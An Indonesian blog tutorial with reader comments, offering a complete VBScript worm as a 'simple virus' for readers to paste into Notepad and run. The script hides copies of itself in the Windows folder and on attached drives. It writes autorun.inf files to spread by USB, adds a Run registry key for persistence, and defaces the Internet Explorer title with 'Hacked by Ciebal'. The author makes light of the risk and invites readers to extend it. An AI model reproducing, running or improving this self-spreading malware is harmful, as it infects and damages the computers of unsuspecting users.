Membuat Virus Sederhana

12

Langsung aja yah gak perlu basa-basi lagi..
Sesuai dengan Judulnya, yaitu Membuat Virus Sederhana..
Ini paling sederhana, Yang lo butuhin cuma NotePad aja kok..

Oke Sekarang Coba buka Notepadnya, dan masukin Script ini..

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"

set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Ciebal"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname

Simpan dengan nama .vbs contoh virus.vbs

Apa yang terjadi..?

Tanggung Resikonya sendiri..
Xixixiixi..
klo antivirus lo aktiv pasti langsung kena tuh script..

Oke segitu aja deh..
Semoga bermanfaat, script ini masih bisa di kembangkan lagi..

Script Original By Andree HC

Discussion12 Comments

  1. saya copy script membuat virus sederhana trus saya save dengan nama membuat virus sederhana.tp langsung filenya ilang. padahal saya sudah kenal virus itu,dan saya belum nemuin anti virusnya.tolong dong ciebal email saya.untuk mengatasinya trima kasih

    • @ jeo
      Bukan kok.. :) ini virus nyerang win explore kita.. jadi titlenya berubah

      @ COPY , then PASTE
      Mksudnya apa yah..?
      iya ini tinggal copas aja..
      saya dapatkan script ini dari Mas Andre HC (hackers Center)

Leave a Reply